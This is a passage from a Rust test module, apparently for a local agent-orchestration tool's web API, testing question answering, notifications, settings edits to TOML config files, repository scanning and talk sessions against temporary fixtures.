11525        // ask`.
11526        let mut q = store.get(&id).expect("get");
11527        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11528            .expect("reply");
11529        store.put(&mut q).expect("put");
11530        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11531        assert_eq!(
11532            fx.get("/api/health").await.json()["questions_needs_owner"],
11533            1,
11534            "the agent's reply is what should light the banner back up"
11535        );
11536    }
11537
11538    #[tokio::test]
11539    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11540        let fx = Fixture::start().await;
11541        let store = fx.questions();
11542
11543        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11544        let res = fx
11545            .post(
11546                &format!("/api/questions/{empty_id}/say"),
11547                Some(r#"{"body":"   "}"#),
11548            )
11549            .await;
11550        assert_eq!(res.status, 400, "{}", res.body);
11551
11552        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11553        let mut answered = store.get(&answered_id).expect("get");
11554        answered
11555            .answer(Answer::Choice("SQLite".to_owned()))
11556            .expect("answer");
11557        store.put(&mut answered).expect("put");
11558        let res = fx
11559            .post(
11560                &format!("/api/questions/{answered_id}/say"),
11561                Some(r#"{"body":"still there?"}"#),
11562            )
11563            .await;
11564        assert_eq!(res.status, 409, "{}", res.body);
11565
11566        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11567        let mut abandoned = store.get(&abandoned_id).expect("get");
11568        abandoned.abandon("timed out");
11569        store.put(&mut abandoned).expect("put");
11570        let res = fx
11571            .post(
11572                &format!("/api/questions/{abandoned_id}/say"),
11573                Some(r#"{"body":"still there?"}"#),
11574            )
11575            .await;
11576        assert_eq!(res.status, 409, "{}", res.body);
11577    }
11578
11579    #[tokio::test]
11580    async fn an_answer_the_question_does_not_offer_is_refused() {
11581        let fx = Fixture::start().await;
11582        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11583        let path = format!("/api/questions/{id}/answer");
11584
11585        for body in [
11586            r#"{"choice":"Postgres"}"#,
11587            r#"{"text":"whatever you think"}"#,
11588            r#"{"choice":"Redis","text":"both"}"#,
11589            r#"{}"#,
11590        ] {
11591            let res = fx.post(&path, Some(body)).await;
11592            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11593            assert!(res.json()["error"].is_string(), "{}", res.body);
11594        }
11595        // Nothing above may have answered it.
11596        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11597    }
11598
11599    #[tokio::test]
11600    async fn a_free_text_question_takes_text_and_not_a_choice() {
11601        let fx = Fixture::start().await;
11602        let id = ask(&fx, "What should the flag be called?", &[]);
11603        fx.questions().beat(&id, ask::WaiterKind::Asker);
11604        let path = format!("/api/questions/{id}/answer");
11605
11606        assert_eq!(
11607            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11608            400
11609        );
11610        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11611        assert_eq!(res.status, 200, "{}", res.body);
11612        assert_eq!(res.json()["answer"]["text"], "--json");
11613    }
11614
11615    #[tokio::test]
11616    async fn an_unknown_question_is_a_json_404() {
11617        let fx = Fixture::start().await;
11618        let res = fx
11619            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11620            .await;
11621        assert_eq!(res.status, 404, "{}", res.body);
11622        assert!(res.json()["error"].is_string());
11623    }
11624
11625    #[tokio::test]
11626    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
11627        let fx = Fixture::start().await;
11628        let questions = Questions::at(fx.home.path().join("questions"));
11629        let store = Notices::at(fx.home.path().join("notifications"));
11630        let mut q = ask::Question::new(
11631            "t1".into(),
11632            "conduct".into(),
11633            "conductor".into(),
11634            "Continue?".into(),
11635            String::new(),
11636            Vec::new(),
11637        );
11638        questions.put(&mut q).unwrap();
11639        let mut n = Notice::warn("task:t1", "Task t1 is held.");
11640        n.covered_by = Some(q.id.clone());
11641        let n = store.raise(n).unwrap();
11642        let listed = fx.get("/api/notifications").await.json();
11643        assert_eq!(listed["items"][0]["answerable_question"], q.id);
11644        questions
11645            .update(&q.id, |q| {
11646                q.abandon("run gone");
11647                Ok(())
11648            })
11649            .unwrap();
11650        let listed = fx.get("/api/notifications").await.json();
11651        assert!(listed["items"][0]["answerable_question"].is_null());
11652        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
11653        assert!(
11654            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
11655                .unwrap()
11656                .contains("answerable_question")
11657        );
11658    }
11659
11660    #[tokio::test]
11661    async fn notifications_list_read_dismiss_and_health_agree() {
11662        let fx = Fixture::start().await;
11663        let store = Notices::at(fx.home.path().join("notifications"));
11664        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11665        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11666
11667        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11668        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11669
11670        store
11671            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11672            .unwrap();
11673        let health = fx.get("/api/health").await.json();
11674        assert_eq!(health["notifications_unread"], 2);
11675        assert_ne!(
11676            health["notifications_rev"], rev0,
11677            "the badge must move live"
11678        );
11679
11680        let listed = fx.get("/api/notifications").await.json();
11681        assert_eq!(listed["unread"], 2);
11682        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11683        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11684
11685        let read = fx
11686            .post(&format!("/api/notifications/{}/read", a.id), None)
11687            .await;
11688        assert_eq!(read.status, 200, "{}", read.body);
11689        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11690
11691        let gone = fx
11692            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11693            .await;
11694        assert_eq!(gone.status, 200, "{}", gone.body);
11695        let listed = fx.get("/api/notifications").await.json();
11696        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11697        assert_eq!(listed["unread"], 0);
11698
11699        store.raise(Notice::info("x", "again")).unwrap();
11700        let all = fx.post("/api/notifications/read-all", None).await;
11701        assert_eq!(all.status, 200, "{}", all.body);
11702        assert_eq!(all.json()["marked"], 1);
11703        assert_eq!(
11704            fx.get("/api/health").await.json()["notifications_unread"],
11705            0
11706        );
11707
11708        let missing = fx.post("/api/notifications/nope/read", None).await;
11709        assert_eq!(missing.status, 404, "{}", missing.body);
11710        assert!(missing.json()["error"].is_string());
11711    }
11712
11713    /// New work reaches the queue through `magi task add`, a standing talk's
11714    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
11715    /// so the compose form and that route are gone. The tests that covered
11716    /// that route's validation went with it, and nothing was left asserting
11717    /// it stays gone — so a re-added handler would silently let the phone
11718    /// file briefs no one validated.
11719    #[tokio::test]
11720    async fn a_task_cannot_be_filed_over_the_phone_directly() {
11721        let f = Fixture::start().await;
11722
11723        let res = f
11724            .post(
11725                "/api/queue",
11726                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11727            )
11728            .await;
11729
11730        assert_eq!(
11731            res.status, 405,
11732            "POST /api/queue must not be a route: {}",
11733            res.body
11734        );
11735        assert!(
11736            f.queue().list().is_empty(),
11737            "a task filed by a route that does not exist must not reach the disk"
11738        );
11739        // The path itself is still served — the Queue view reads it — and the
11740        // per-task controls are untouched by the entry being removed.
11741        assert_eq!(f.get("/api/queue").await.status, 200);
11742    }
11743
11744    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
11745    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11746        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11747            .expect("checkout dir");
11748    }
11749
11750    /// Two command agents, so a config needs no real CLI.
11751    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11752
11753    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11754        let tmp = TempDir::new().expect("tempdir");
11755        let repo = tmp.path().join("repo");
11756        std::fs::create_dir_all(&repo).expect("repo dir");
11757        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11758        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11759        if let Some(text) = machine_toml {
11760            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11761            std::fs::write(&machine, text).expect("machine toml");
11762        }
11763        (tmp, repo, machine)
11764    }
11765
11766    async fn settings_checkout(path: &FsPath, text: &str) {
11767        std::fs::create_dir_all(path).unwrap();
11768        std::fs::write(path.join("magi.toml"), text).unwrap();
11769        for args in [
11770            vec!["init", "-b", "main"],
11771            vec!["add", "magi.toml"],
11772            vec![
11773                "-c",
11774                "user.name=Test",
11775                "-c",
11776                "user.email=test@example.invalid",
11777                "commit",
11778                "-m",
11779                "fixture",
11780            ],
11781            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11782            vec![
11783                "symbolic-ref",
11784                "refs/remotes/origin/HEAD",
11785                "refs/remotes/origin/main",
11786            ],
11787        ] {
11788            crate::git::git(path, &args).await.unwrap();
11789        }
11790    }
11791
11792    #[tokio::test]
11793    async fn settings_context_handlers_validate_and_save_without_a_socket() {
11794        let (tmp, repo, machine) =
11795            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11796        let root = tmp.path().join("roots");
11797        let selected = root.join("host/owner/selected");
11798        settings_checkout(
11799            &selected,
11800            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11801        )
11802        .await;
11803        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11804        let before = std::fs::read(&machine).unwrap();
11805        let ui = Arc::new(
11806            Ui::new(
11807                Queue::at(tmp.path().join("queue")),
11808                Questions::at(tmp.path().join("questions")),
11809                Talks::at(tmp.path().join("talks")),
11810                tmp.path().join("runs"),
11811                tmp.path().to_path_buf(),
11812                repo.clone(),
11813            )
11814            .with_machine_config(Some(machine.clone())),
11815        );
11816        let query = || {
11817            Query(SettingsQuery {
11818                repo: Some(selected.clone()),
11819            })
11820        };
11821        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11822        assert!(v.error.is_none(), "{:?}", v.error);
11823        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11824        assert_eq!(conductor.source, "repo");
11825        assert_eq!(
11826            conductor.machine_value,
11827            Some(toml::Value::String("a".into()))
11828        );
11829        assert!(!conductor.editable);
11830        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11831        assert_eq!(
11832            judges.count.as_ref().unwrap().machine_value,
11833            Some(toml::Value::Integer(1))
11834        );
11835        assert!(
11836            !v.roles
11837                .iter()
11838                .find(|r| r.key == "reviewers")
11839                .unwrap()
11840                .editable
11841        );
11842        let unknown = || {
11843            Query(SettingsQuery {
11844                repo: Some(tmp.path().to_path_buf()),
11845            })
11846        };
11847        assert_eq!(
11848            settings_get(State(ui.clone()), unknown())
11849                .await
11850                .unwrap_err()
11851                .status,
11852            StatusCode::UNPROCESSABLE_ENTITY
11853        );
11854        let body = || {
11855            Ok(Json(RolesBody {
11856                revision: v.revision.clone(),
11857                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11858                counts: Default::default(),
11859            }))
11860        };
11861        assert_eq!(
11862            settings_put_roles(State(ui.clone()), unknown(), body())
11863                .await
11864                .unwrap_err()
11865                .status,
11866            StatusCode::UNPROCESSABLE_ENTITY
11867        );
11868        assert_eq!(std::fs::read(&machine).unwrap(), before);
11869        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11870            .await
11871            .unwrap();
11872        assert_eq!(
11873            saved.repo,
11874            selected.canonicalize().unwrap().display().to_string()
11875        );
11876        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11877        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11878        // A cache miss refreshes the stable candidate list exactly for validation.
11879        let fresh = root.join("host/owner/fresh");
11880        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11881        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11882            .await
11883            .unwrap();
11884        assert_eq!(fresh_view.repositories.len(), 3);
11885    }
11886
11887    #[tokio::test]
11888    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11889        let (tmp, repo, machine) = settings_dirs(
11890            "[roles]\nreviewers = [\"a\"]\n",
11891            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11892        );
11893        let root = tmp.path().join("roots");
11894        let selected = root.join("host/owner/selected");
11895        settings_checkout(
11896            &selected,
11897            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11898        )
11899        .await;
11900        let broken = root.join("host/owner/broken");
11901        settings_checkout(&broken, "[roles\nbroken").await;
11902        let machine_text = format!(
11903            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11904            toml::Value::String(root.display().to_string())
11905        );
11906        std::fs::write(&machine, &machine_text).unwrap();
11907        let originals: Vec<_> = [&repo, &selected, &broken]
11908            .iter()
11909            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11910            .collect();
11911        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11912        let default = f.get("/api/settings").await.json();
11913        assert_eq!(
11914            default["repo"],
11915            repo.canonicalize().unwrap().display().to_string()
11916        );
11917        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11918        let query = format!("?repo={}", selected.display());
11919        let res = f.get(&format!("/api/settings{query}")).await;
11920        assert_eq!(res.status, 200, "{}", res.body);
11921        let v = res.json();
11922        assert!(v["error"].is_null(), "{v}");
11923        assert_eq!(v["repositories"], default["repositories"]);
11924        let role = |key: &str| {
11925            v["roles"]
11926                .as_array()
11927                .unwrap()
11928                .iter()
11929                .find(|r| r["key"] == key)
11930                .unwrap()
11931        };
11932        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11933        assert_eq!(role("advisors")["source"], "repo");
11934        assert_eq!(role("advisors")["editable"], false);
11935        assert!(role("advisors")["machine_value"].is_null());
11936        assert_eq!(role("judges")["count"]["value"], 2);
11937        assert_eq!(role("judges")["count"]["machine_value"], 1);
11938        assert_eq!(role("judges")["count"]["source"], "repo");
11939        let source = role("judges")["count"]["source_path"].as_str().unwrap();
11940        assert!(
11941            source.contains("origin/main") && !source.contains("magi/config/"),
11942            "{source}"
11943        );
11944        assert_eq!(
11945            role("reviewers")["editable"],
11946            false,
11947            "default context outside roots must protect its declarations"
11948        );
11949        let body =
11950            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11951        let unknown = format!("?repo={}", tmp.path().display());
11952        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11953        assert_eq!(
11954            f.put(&format!("/api/settings/roles{unknown}"), &body)
11955                .await
11956                .status,
11957            422
11958        );
11959        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11960        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11961            .to_string();
11962        assert_eq!(
11963            f.put(&format!("/api/settings/roles{query}"), &refuse)
11964                .await
11965                .status,
11966            422
11967        );
11968        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11969        assert_eq!(saved.status, 200, "{}", saved.body);
11970        assert_eq!(saved.json()["repo"], v["repo"]);
11971        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11972        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11973        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11974            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11975        }
11976        let error = f
11977            .get(&format!("/api/settings?repo={}", broken.display()))
11978            .await;
11979        assert_eq!(error.status, 200);
11980        assert!(error.json()["error"]["message"].is_string());
11981        assert_eq!(error.json()["repositories"], default["repositories"]);
11982    }
11983
11984    #[tokio::test]
11985    async fn settings_get_reports_sources_and_the_advisors_fallback() {
11986        let (_tmp, repo, machine) =
11987            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11988        let f = Fixture::with_repo_and_machine(repo, machine).await;
11989        let res = f.get("/api/settings").await;
11990        assert_eq!(res.status, 200, "{}", res.body);
11991        let v = res.json();
11992        assert!(v["error"].is_null(), "{v}");
11993        let role = |k: &str| {
11994            v["roles"]
11995                .as_array()
11996                .and_then(|r| r.iter().find(|x| x["key"] == k))
11997                .cloned()
11998                .unwrap_or_else(|| panic!("no role {k}: {v}"))
11999        };
12000        assert_eq!(role("judges")["source"], "machine");
12001        assert_eq!(role("judges")["editable"], true);
12002        assert_eq!(role("implementers")["source"], "default");
12003        let adv = role("advisors");
12004        assert_eq!(adv["fallback"], "judges");
12005        assert!(
12006            adv["seats"]
12007                .as_array()
12008                .is_some_and(|s| s.iter().all(|x| x == "b")),
12009            "{adv}"
12010        );
12011        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12012        assert_eq!(v["agents"][0]["source"], "repo");
12013    }
12014
12015    #[tokio::test]
12016    async fn settings_get_reports_a_config_that_does_not_parse() {
12017        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12018        let f = Fixture::with_repo_and_machine(repo, machine).await;
12019        let res = f.get("/api/settings").await;
12020        assert_eq!(res.status, 200, "{}", res.body);
12021        let v = res.json();
12022        assert!(v["error"]["message"].is_string(), "{v}");
12023        assert!(
12024            v["error"]["path"]
12025                .as_str()
12026                .is_some_and(|p| p.ends_with("magi.toml")),
12027            "{v}"
12028        );
12029        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12030    }
12031
12032    #[tokio::test]
12033    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12034        let (_tmp, repo, machine) = settings_dirs(
12035            SETTINGS_AGENTS,
12036            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
12037        );
12038        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12039        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12040        let rev = f.get("/api/settings").await.json()["revision"]
12041            .as_str()
12042            .expect("revision")
12043            .to_owned();
12044        let body = serde_json::json!({
12045            "revision": rev,
12046            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12047        })
12048        .to_string();
12049        let res = f.put("/api/settings/roles", &body).await;
12050        assert_eq!(res.status, 200, "{}", res.body);
12051        let text = std::fs::read_to_string(&machine).expect("machine");
12052        assert_eq!(
12053            text,
12054            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12055        );
12056        assert_eq!(
12057            std::fs::read(repo.join("magi.toml")).expect("read"),
12058            repo_before
12059        );
12060        let again = f.get("/api/settings").await.json();
12061        let judges = again["roles"]
12062            .as_array()
12063            .expect("roles")
12064            .iter()
12065            .find(|r| r["key"] == "judges")
12066            .expect("judges")
12067            .clone();
12068        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12069        // The old revision is now stale.
12070        let stale = f.put("/api/settings/roles", &body).await;
12071        assert_eq!(stale.status, 409, "{}", stale.body);
12072    }
12073
12074    #[tokio::test]
12075    async fn settings_counts_are_reported_and_saved() {
12076        let (_tmp, repo, machine) = settings_dirs(
12077            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12078            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12079        );
12080        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12081        let v = f.get("/api/settings").await.json();
12082        let count = |v: &serde_json::Value, k: &str| {
12083            v["roles"]
12084                .as_array()
12085                .and_then(|r| r.iter().find(|x| x["key"] == k))
12086                .map(|x| x["count"].clone())
12087                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12088        };
12089        let imp = count(&v, "implementers");
12090        assert_eq!(imp["value"], 2);
12091        assert_eq!(imp["source"], "machine");
12092        assert_eq!(imp["file_key"], "candidates");
12093        assert_eq!(imp["roster_len"], 2);
12094        assert_eq!(imp["backups"], 0);
12095        assert_eq!(count(&v, "judges")["source"], "default");
12096        assert_eq!(count(&v, "advisors")["min"], 0);
12097        assert_eq!(count(&v, "reviewers")["editable"], false);
12098        assert!(
12099            count(&v, "reviewers")["locked_reason"]
12100                .as_str()
12101                .is_some_and(|m| m.contains("graph.reviewers"))
12102        );
12103        assert!(count(&v, "fixer").is_null());
12104        let rev = v["revision"].as_str().expect("revision").to_owned();
12105        let body = serde_json::json!({
12106            "revision": rev,
12107            "roles": { "judges": ["b"] },
12108            "counts": { "implementers": 1, "advisors": 0 }
12109        })
12110        .to_string();
12111        let res = f.put("/api/settings/roles", &body).await;
12112        assert_eq!(res.status, 200, "{}", res.body);
12113        let text = std::fs::read_to_string(&machine).expect("machine");
12114        assert_eq!(
12115            text,
12116            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12117        );
12118        let after = f.get("/api/settings").await.json();
12119        assert_eq!(count(&after, "implementers")["value"], 1);
12120        assert_eq!(count(&after, "implementers")["backups"], 1);
12121        assert_eq!(count(&after, "advisors")["value"], 0);
12122        let before = std::fs::read_to_string(&machine).expect("machine");
12123        let rev = after["revision"].as_str().expect("revision").to_owned();
12124        for counts in [
12125            serde_json::json!({ "judges": 0 }),
12126            serde_json::json!({ "judges": "x" }),
12127            serde_json::json!({ "judges": 2.5 }),
12128            serde_json::json!({ "judges": -1 }),
12129            serde_json::json!({ "reviewers": 3 }),
12130            serde_json::json!({ "bogus": 3 }),
12131        ] {
12132            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12133            let res = f.put("/api/settings/roles", &body).await;
12134            assert_eq!(res.status, 422, "{counts}: {}", res.body);
12135            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12136        }
12137    }
12138
12139    #[tokio::test]
12140    async fn settings_put_refuses_without_touching_the_file() {
12141        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12142        let (_tmp, repo, machine) = settings_dirs(
12143            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12144            Some(machine_text),
12145        );
12146        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12147        let rev = f.get("/api/settings").await.json()["revision"]
12148            .as_str()
12149            .expect("revision")
12150            .to_owned();
12151        for roles in [
12152            serde_json::json!({ "judges": ["nope"] }),
12153            serde_json::json!({ "reviewers": ["b"] }),
12154            serde_json::json!({ "bogus": ["a"] }),
12155        ] {
12156            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12157            let res = f.put("/api/settings/roles", &body).await;
12158            assert_eq!(res.status, 422, "{roles}: {}", res.body);
12159            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12160            assert_eq!(
12161                std::fs::read_to_string(&machine).expect("machine"),
12162                machine_text
12163            );
12164        }
12165    }
12166
12167    #[tokio::test]
12168    async fn repos_list_returns_name_and_path_for_every_configured_root() {
12169        let tmp = TempDir::new().expect("tempdir");
12170        let repo = tmp.path().join("repo");
12171        std::fs::create_dir_all(&repo).expect("repo dir");
12172        let root = tmp.path().join("root");
12173        make_checkout(&root, "github.com", "yukimemi", "magi");
12174        std::fs::write(
12175            repo.join("magi.toml"),
12176            format!(
12177                "[repos]\nroots = [{:?}]\n",
12178                root.to_string_lossy().into_owned()
12179            ),
12180        )
12181        .expect("write magi.toml");
12182
12183        let f = Fixture::with_repo(repo).await;
12184        let res = f.get("/api/repos").await;
12185        assert_eq!(res.status, 200, "{}", res.body);
12186        let list = res.json();
12187        let repos = list.as_array().expect("an array");
12188        assert_eq!(repos.len(), 1);
12189        assert_eq!(repos[0]["name"], "yukimemi/magi");
12190        assert!(
12191            repos[0]["path"]
12192                .as_str()
12193                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
12194            "{list}"
12195        );
12196    }
12197
12198    #[tokio::test]
12199    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
12200        let tmp = TempDir::new().expect("tempdir");
12201        let repo = tmp.path().join("repo");
12202        std::fs::create_dir_all(&repo).expect("repo dir");
12203        let root = tmp.path().join("root");
12204        make_checkout(&root, "github.com", "yukimemi", "magi");
12205        std::fs::write(
12206            repo.join("magi.toml"),
12207            format!(
12208                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
12209                root.to_string_lossy().into_owned()
12210            ),
12211        )
12212        .expect("write magi.toml");
12213
12214        let f = Fixture::with_repo(repo).await;
12215        let first = f.get("/api/repos").await;
12216        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
12217
12218        // A second checkout appears; within the TTL the cached answer must
12219        // not notice it.
12220        make_checkout(&root, "github.com", "yukimemi", "rvpm");
12221        let second = f.get("/api/repos").await;
12222        assert_eq!(
12223            second.json().as_array().map(Vec::len),
12224            Some(1),
12225            "a fresh cache must not rescan inside the TTL"
12226        );
12227
12228        let refreshed = f.get("/api/repos?refresh=1").await;
12229        assert_eq!(
12230            refreshed.json().as_array().map(Vec::len),
12231            Some(2),
12232            "an explicit refresh must rescan even inside the TTL"
12233        );
12234    }
12235
12236    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
12237    /// string, declared straight in a repository's own `magi.toml` rather
12238    /// than the operator's real roster. No real agent CLI is spawned - `sh`
12239    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
12240    /// this is safe to run over a real HTTP round trip.
12241    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
12242
12243    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
12244    /// real `Config::discover` to find an agent - `talk::begin` resolves one
12245    /// even though it takes no turn, and `talk_say` invokes one.
12246    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
12247        let tmp = TempDir::new().expect("tempdir");
12248        let repo = tmp.path().join("repo");
12249        std::fs::create_dir_all(&repo).expect("repo dir");
12250        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12251        let f = Fixture::with_repo(repo.clone()).await;
12252        (tmp, repo, f)
12253    }
12254
12255    #[tokio::test]
12256    async fn posting_a_talk_with_remembered_choices_is_soft() {
12257        let (_tmp, _repo, f) = talk_fixture().await;
12258
12259        let good = f
12260            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
12261            .await;
12262        assert_eq!(good.status, 201, "{}", good.body);
12263        assert_eq!(good.json()["persona"], "rei");
12264
12265        // Wrong values and wrong types are dropped one by one, never a 4xx.
12266        let stale = f
12267            .post(
12268                "/api/talks",
12269                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
12270            )
12271            .await;
12272        assert_eq!(stale.status, 201, "{}", stale.body);
12273        let v = stale.json();
12274        assert_eq!(v["implementers"], 1);
12275        assert_ne!(v["persona"], "nobody");
12276        let typed = f
12277            .post(
12278                "/api/talks",
12279                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
12280            )
12281            .await;
12282        assert_eq!(typed.status, 201, "{}", typed.body);
12283
12284        // The strict `agent` field still refuses an unknown id.
12285        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
12286        assert!(
12287            !strict.status.to_string().starts_with('2'),
12288            "{}",
12289            strict.body
12290        );
12291    }
12292
12293    #[tokio::test]
12294    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
12295        let (_tmp, _repo, f) = talk_fixture().await;
12296
12297        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
12298        // is the ordinary way a phone opens a talk.
12299        let opened = f.post("/api/talks", None).await;
12300        assert_eq!(opened.status, 201, "{}", opened.body);
12301        let body = opened.json();
12302        assert_eq!(body["status"], "open");
12303        assert_eq!(
12304            body["turns"].as_array().unwrap().len(),
12305            0,
12306            "opening takes no agent turn: there is nothing yet to answer"
12307        );
12308
12309        // An explicit empty object is the same request as none at all.
12310        let also_opened = f.post("/api/talks", Some("{}")).await;
12311        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12312
12313        let listed = f.get("/api/talks").await.json();
12314        assert_eq!(listed.as_array().unwrap().len(), 2);
12315    }
12316
12317    #[tokio::test]
12318    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12319        let tmp = TempDir::new().expect("tempdir");
12320        let repo = tmp.path().join("repo");
12321        std::fs::create_dir_all(&repo).expect("repo dir");
12322        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12323        std::fs::write(
12324            repo.join("magi.toml"),
12325            format!("{MOCK_AGENT_TOML}\n{second}"),
12326        )
12327        .expect("write magi.toml");
12328        let home = TempDir::new().expect("temp home");
12329        let talks = Talks::at(home.path().join("talks"));
12330        let ui = Arc::new(
12331            Ui::new(
12332                Queue::at(home.path().join("queue")),
12333                Questions::at(home.path().join("questions")),
12334                talks.clone(),
12335                home.path().join("runs"),
12336                home.path().to_path_buf(),
12337                repo.clone(),
12338            )
12339            .with_worktrees_root(home.path().join("wt")),
12340        );
12341        let cfg = config_for(&repo).await.expect("discover config");
12342        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12343        let id = talk.id.clone();
12344        let call = |agent: &str| {
12345            talk_agent(
12346                State(Arc::clone(&ui)),
12347                Path(id.clone()),
